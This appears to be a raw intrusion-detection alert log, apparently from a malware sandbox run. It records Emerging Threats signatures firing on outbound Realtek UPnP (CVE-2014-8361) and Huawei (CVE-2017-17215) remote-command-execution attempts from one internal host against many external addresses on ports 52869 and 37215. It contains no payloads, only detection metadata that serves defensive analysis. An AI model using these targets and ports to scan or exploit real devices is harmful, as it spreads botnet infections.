07/20/24-23:01:43.243465	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57270	52869	192.168.2.23	61.42.34.219
07/20/24-23:01:08.693187	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60750	52869	192.168.2.23	70.148.71.209
07/20/24-23:01:02.054387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43712	37215	192.168.2.23	176.251.98.66
07/20/24-23:01:43.938688	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49812	52869	192.168.2.23	4.66.151.191
07/20/24-23:01:42.984532	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40688	52869	192.168.2.23	124.13.0.132
07/20/24-23:01:02.048214	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54670	37215	192.168.2.23	41.178.90.216
07/20/24-23:01:55.572517	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43378	52869	192.168.2.23	14.190.237.146
07/20/24-23:01:31.325694	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40536	52869	192.168.2.23	24.238.134.176
07/20/24-23:01:44.038410	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54114	52869	192.168.2.23	173.71.226.225
07/20/24-23:00:57.221190	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42650	37215	192.168.2.23	47.7.162.229
07/20/24-23:01:27.677519	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34452	37215	192.168.2.23	128.19.87.235
07/20/24-23:01:41.419124	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36358	52869	192.168.2.23	158.212.171.84
07/20/24-23:01:24.886284	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56316	37215	192.168.2.23	197.12.62.22
07/20/24-23:01:00.633633	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37138	37215	192.168.2.23	197.229.227.49
07/20/24-23:01:11.662969	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51076	37215	192.168.2.23	41.217.4.188
07/20/24-23:01:41.399866	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44106	52869	192.168.2.23	49.9.206.193
07/20/24-23:01:41.354321	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36176	52869	192.168.2.23	54.250.222.170
07/20/24-23:01:49.097048	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44602	52869	192.168.2.23	23.185.211.99
07/20/24-23:01:45.109958	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36090	52869	192.168.2.23	174.213.208.19
07/20/24-23:02:09.148759	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60412	52869	192.168.2.23	189.55.165.96
07/20/24-23:01:08.620788	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57014	52869	192.168.2.23	164.236.243.93
07/20/24-23:01:08.572790	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49150	52869	192.168.2.23	13.18.63.141
07/20/24-23:01:08.606848	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53660	52869	192.168.2.23	9.134.98.50
07/20/24-23:01:08.585790	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33446	52869	192.168.2.23	115.35.215.139
07/20/24-23:01:41.991545	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47412	52869	192.168.2.23	197.168.237.206
07/20/24-23:01:42.718842	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35816	52869	192.168.2.23	106.204.29.126
07/20/24-23:01:49.794519	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50970	52869	192.168.2.23	200.250.178.79
07/20/24-23:01:41.909668	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37660	52869	192.168.2.23	102.134.118.47
07/20/24-23:00:57.221367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52450	37215	192.168.2.23	41.214.240.131
07/20/24-23:01:59.745622	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38058	52869	192.168.2.23	119.78.161.123
07/20/24-23:02:05.547419	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55264	52869	192.168.2.23	182.119.21.176
07/20/24-23:01:44.856714	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34874	52869	192.168.2.23	109.170.40.38
07/20/24-23:01:31.979752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45060	37215	192.168.2.23	41.131.219.214
07/20/24-23:01:43.023857	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42610	52869	192.168.2.23	129.7.216.73
07/20/24-23:01:47.307063	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49106	52869	192.168.2.23	59.106.145.113
07/20/24-23:01:04.160872	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47360	52869	192.168.2.23	93.10.103.253
07/20/24-23:01:58.755147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51278	52869	192.168.2.23	131.14.182.74
07/20/24-23:01:25.969609	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41896	52869	192.168.2.23	113.130.121.87
07/20/24-23:01:02.079114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45680	37215	192.168.2.23	111.15.64.29
07/20/24-23:01:47.092270	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54620	52869	192.168.2.23	41.203.104.16
07/20/24-23:01:52.701293	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58940	52869	192.168.2.23	188.52.23.162
07/20/24-23:00:59.203960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46618	37215	192.168.2.23	118.76.56.217
07/20/24-23:01:08.693187	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41122	52869	192.168.2.23	159.70.111.204
07/20/24-23:01:03.953624	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52432	52869	192.168.2.23	150.181.42.248
07/20/24-23:01:31.978141	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41478	37215	192.168.2.23	197.253.132.236
07/20/24-23:01:02.293628	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35646	52869	192.168.2.23	48.69.126.229
07/20/24-23:01:54.980256	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45806	52869	192.168.2.23	96.1.75.175
07/20/24-23:01:00.640312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54070	37215	192.168.2.23	197.77.47.158
07/20/24-23:01:41.305474	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58086	52869	192.168.2.23	20.44.163.254
07/20/24-23:01:04.058922	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38558	37215	192.168.2.23	41.21.126.116
07/20/24-23:01:04.098909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49142	37215	192.168.2.23	157.69.249.104
07/20/24-23:01:50.223705	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50334	52869	192.168.2.23	36.88.70.103
07/20/24-23:01:12.806839	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53204	52869	192.168.2.23	195.196.57.80
07/20/24-23:01:13.820007	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37114	52869	192.168.2.23	105.36.101.44
07/20/24-23:01:07.062666	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36856	37215	192.168.2.23	197.191.219.145
07/20/24-23:01:14.095462	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41082	37215	192.168.2.23	157.9.117.101
07/20/24-23:01:26.115620	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51190	52869	192.168.2.23	60.163.17.129
07/20/24-23:01:47.385543	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33372	52869	192.168.2.23	196.46.94.209
07/20/24-23:01:51.835178	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38042	52869	192.168.2.23	64.111.30.226
07/20/24-23:01:07.033766	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40060	37215	192.168.2.23	197.158.235.29
07/20/24-23:01:03.266392	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51400	52869	192.168.2.23	9.134.98.50
07/20/24-23:01:21.951298	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55046	37215	192.168.2.23	157.139.97.65
07/20/24-23:01:44.963815	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42942	52869	192.168.2.23	53.50.156.29
07/20/24-23:01:42.702732	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44592	52869	192.168.2.23	128.83.244.58
07/20/24-23:01:44.921789	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52396	52869	192.168.2.23	90.64.10.170
07/20/24-23:01:47.236261	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57080	52869	192.168.2.23	163.119.42.207
07/20/24-23:01:31.975158	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47600	37215	192.168.2.23	157.158.210.182
07/20/24-23:01:43.671215	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42194	52869	192.168.2.23	187.139.238.2
07/20/24-23:01:42.685722	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50136	52869	192.168.2.23	143.235.222.68
07/20/24-23:01:11.636599	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38704	37215	192.168.2.23	197.174.117.103
07/20/24-23:01:14.296756	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43348	37215	192.168.2.23	41.215.255.246
07/20/24-23:01:49.721561	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39272	52869	192.168.2.23	208.98.159.35
07/20/24-23:01:06.988055	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34964	37215	192.168.2.23	197.33.180.41
07/20/24-23:01:43.415157	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54360	52869	192.168.2.23	17.78.214.126
07/20/24-23:01:42.111275	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52826	52869	192.168.2.23	94.159.177.21
07/20/24-23:01:45.048479	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36116	52869	192.168.2.23	147.236.68.25
07/20/24-23:01:08.611391	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34982	52869	192.168.2.23	178.251.54.152
07/20/24-23:01:43.957856	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39886	52869	192.168.2.23	5.36.69.33
07/20/24-23:01:41.476492	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37172	52869	192.168.2.23	132.116.164.169
07/20/24-23:01:42.685722	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38056	52869	192.168.2.23	64.123.182.34
07/20/24-23:01:02.437937	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39280	52869	192.168.2.23	97.69.175.230
07/20/24-23:01:50.083569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54864	52869	192.168.2.23	112.255.30.88
07/20/24-23:01:44.470424	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38526	52869	192.168.2.23	98.171.161.225
07/20/24-23:01:45.485100	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39258	52869	192.168.2.23	203.196.31.139
07/20/24-23:01:47.375803	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52282	52869	192.168.2.23	175.210.141.95
07/20/24-23:01:56.667752	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33118	52869	192.168.2.23	141.3.146.221
07/20/24-23:01:42.422050	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57534	52869	192.168.2.23	76.231.40.42
07/20/24-23:01:42.703494	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38988	52869	192.168.2.23	85.239.208.54
07/20/24-23:01:42.164492	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45442	52869	192.168.2.23	106.2.127.68
07/20/24-23:01:54.796749	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33462	52869	192.168.2.23	43.18.71.244
07/20/24-23:01:00.635367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56890	37215	192.168.2.23	197.10.234.194
07/20/24-23:01:59.513085	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53334	52869	192.168.2.23	89.86.75.249
07/20/24-23:01:24.885849	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37860	37215	192.168.2.23	41.231.145.68
07/20/24-23:01:12.806645	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41902	52869	192.168.2.23	185.44.122.49
07/20/24-23:01:57.465464	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41994	52869	192.168.2.23	88.40.199.176
07/20/24-23:01:11.634077	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57988	37215	192.168.2.23	157.55.166.124
07/20/24-23:01:51.172994	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49444	52869	192.168.2.23	19.90.99.238
07/20/24-23:01:57.747300	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58464	52869	192.168.2.23	171.245.11.17
07/20/24-23:00:57.221888	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47604	37215	192.168.2.23	197.178.33.225
07/20/24-23:01:43.405280	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51008	52869	192.168.2.23	205.136.89.238
07/20/24-23:01:02.493447	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36278	52869	192.168.2.23	112.103.96.49
07/20/24-23:01:51.833558	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35974	52869	192.168.2.23	207.100.140.133
07/20/24-23:01:52.883801	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47262	52869	192.168.2.23	122.138.157.236
07/20/24-23:01:47.669469	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46694	52869	192.168.2.23	60.33.175.153
07/20/24-23:01:11.642449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59528	37215	192.168.2.23	157.66.219.47
07/20/24-23:01:00.634089	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38714	37215	192.168.2.23	41.99.7.194
07/20/24-23:01:47.641942	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46344	52869	192.168.2.23	106.236.204.67
07/20/24-23:01:44.749294	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55868	52869	192.168.2.23	169.186.230.20
07/20/24-23:01:01.765841	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34016	52869	192.168.2.23	25.68.235.59
07/20/24-23:01:53.415663	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42988	52869	192.168.2.23	197.114.179.188
07/20/24-23:01:24.876750	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57980	37215	192.168.2.23	90.31.237.217
07/20/24-23:00:59.187842	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33894	37215	192.168.2.23	41.132.20.65
07/20/24-23:02:17.085116	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48072	52869	192.168.2.23	57.122.183.186
07/20/24-23:01:44.358680	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40212	52869	192.168.2.23	178.91.194.150
07/20/24-23:01:41.299284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55122	52869	192.168.2.23	174.30.181.131
07/20/24-23:01:42.287237	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33288	52869	192.168.2.23	137.75.123.123
07/20/24-23:01:44.648889	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56418	52869	192.168.2.23	90.237.72.71
07/20/24-23:01:40.355589	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39320	37215	192.168.2.23	130.2.207.228
07/20/24-23:01:42.945747	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48476	52869	192.168.2.23	154.167.112.208
07/20/24-23:01:00.634089	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56956	37215	192.168.2.23	89.73.227.199
07/20/24-23:01:24.898476	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34552	37215	192.168.2.23	41.52.85.114
07/20/24-23:01:46.020177	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56560	52869	192.168.2.23	151.149.108.97
07/20/24-23:01:08.555687	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42530	52869	192.168.2.23	47.237.197.200
07/20/24-23:01:44.007374	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39942	52869	192.168.2.23	178.91.194.150
07/20/24-23:01:04.773524	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39008	52869	192.168.2.23	159.70.111.204
07/20/24-23:01:09.027075	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44806	52869	192.168.2.23	157.202.7.129
07/20/24-23:01:44.038410	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45320	52869	192.168.2.23	78.42.251.42
07/20/24-23:00:59.148145	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55784	37215	192.168.2.23	197.64.180.236
07/20/24-23:01:52.343511	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49584	52869	192.168.2.23	131.14.182.74
07/20/24-23:01:41.508271	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49518	52869	192.168.2.23	143.235.222.68
07/20/24-23:01:44.590674	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46584	52869	192.168.2.23	150.244.130.144
07/20/24-23:01:48.124037	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39086	52869	192.168.2.23	173.124.142.19
07/20/24-23:01:45.098864	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42266	52869	192.168.2.23	197.132.250.53
07/20/24-23:01:27.651332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55470	37215	192.168.2.23	41.190.44.53
07/20/24-23:01:43.044693	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41638	52869	192.168.2.23	129.7.216.73
07/20/24-23:01:34.050672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37952	37215	192.168.2.23	197.22.197.144
07/20/24-23:01:24.877747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39132	37215	192.168.2.23	157.65.10.54
07/20/24-23:01:10.600298	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39780	52869	192.168.2.23	119.4.44.94
07/20/24-23:01:02.046626	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36256	37215	192.168.2.23	9.120.239.102
07/20/24-23:01:43.944379	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54670	52869	192.168.2.23	35.7.41.237
07/20/24-23:01:08.590937	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58384	52869	192.168.2.23	62.90.39.173
07/20/24-23:01:41.987411	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43042	52869	192.168.2.23	107.189.251.198
07/20/24-23:02:07.969418	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46648	52869	192.168.2.23	94.27.30.164
07/20/24-23:01:46.212590	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36886	52869	192.168.2.23	196.21.217.254
07/20/24-23:01:45.010540	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53462	52869	192.168.2.23	192.54.139.100
07/20/24-23:01:43.324295	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53764	52869	192.168.2.23	35.7.41.237
07/20/24-23:01:04.742666	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60858	52869	192.168.2.23	86.219.42.227
07/20/24-23:01:12.807102	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54648	52869	192.168.2.23	57.137.225.59
07/20/24-23:01:46.292331	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51002	52869	192.168.2.23	92.210.119.212
07/20/24-23:01:12.806839	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54258	52869	192.168.2.23	167.63.84.166
07/20/24-23:01:08.613165	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52830	52869	192.168.2.23	114.20.70.247
07/20/24-23:01:54.246583	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44988	52869	192.168.2.23	160.206.110.41
07/20/24-23:01:54.957644	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51404	52869	192.168.2.23	209.219.111.180
07/20/24-23:01:59.855159	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50424	52869	192.168.2.23	95.252.31.72
07/20/24-23:01:41.380561	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44798	52869	192.168.2.23	184.103.85.217
07/20/24-23:01:42.313122	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48484	52869	192.168.2.23	98.9.1.207
07/20/24-23:01:21.909111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54320	37215	192.168.2.23	197.36.30.205
07/20/24-23:01:07.004906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46974	37215	192.168.2.23	157.246.47.96
07/20/24-23:01:51.790169	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32904	52869	192.168.2.23	115.59.47.171
07/20/24-23:01:40.301143	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46342	37215	192.168.2.23	165.249.91.251
07/20/24-23:01:08.572556	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33738	52869	192.168.2.23	75.207.187.133
07/20/24-23:01:42.839255	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37964	52869	192.168.2.23	47.35.34.220
07/20/24-23:01:41.270795	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58370	52869	192.168.2.23	112.83.62.168
07/20/24-23:01:13.628544	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50292	52869	192.168.2.23	90.205.64.234
07/20/24-23:02:05.476791	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56214	52869	192.168.2.23	93.40.207.17
07/20/24-23:01:41.360320	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47796	52869	192.168.2.23	98.9.1.207
07/20/24-23:01:42.285526	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55702	52869	192.168.2.23	174.30.181.131
07/20/24-23:01:31.327540	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57014	52869	192.168.2.23	179.142.123.85
07/20/24-23:02:04.525064	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38604	52869	192.168.2.23	164.237.7.212
